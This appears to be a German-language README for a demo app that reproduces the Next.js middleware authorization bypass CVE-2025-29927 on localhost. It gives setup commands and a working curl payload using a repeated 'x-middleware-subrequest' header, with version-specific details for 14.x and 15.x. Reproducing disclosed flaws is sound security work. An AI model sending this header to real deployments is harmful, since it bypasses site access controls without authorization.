
Dies ist eine Demo zur Reproduktion der Autorisierungs-Bypass-Schwachstelle CVE-2025-29927 in Next.js.
Eine Demo zur Reproduktion der Autorisierungs-Bypass-Schwachstelle in Next.js.
Details zu dieser Schwachstelle finden Sie unter Zusammenfassung der Next.js-Schwachstelle CVE-2025-29927.
git clone https://github.com/t3tra-dev/cve-2025-29927-demo.git
cd cve-2025-29927-demo
git pull origin main
npm install
npm run dev
x-middleware-subrequest-Header, z. B. mit curl.curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/protected
Dadurch wird der Autorisierungs-Bypass ausgelöst und die Seite /protected wird zugänglich.
Der Wert von middleware ist der Name der Middleware, den Next.js erkennt. In dieser Demo-App existiert eine Middleware mit dem Namen middleware. Durch die Angabe dieses Werts wird der Autorisierungs-Bypass ausgelöst.
[!TIP] Bei Next.js 15.x ist
MAX_RECURSION_DEPTHauf 5 gesetzt, daher muss der Middleware-Wert mindestens fünfmal durch:getrennt wiederholt werden. Bei älteren Versionen (14.x) genügte einfach „middleware“. Da in dieser Demo-App Next.js 15.2.2 verwendet wird, ist ein solcher Wert erforderlich.